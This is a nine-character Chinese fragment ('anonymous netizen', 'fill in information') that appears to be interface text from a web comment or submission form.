匿名网友 填写信息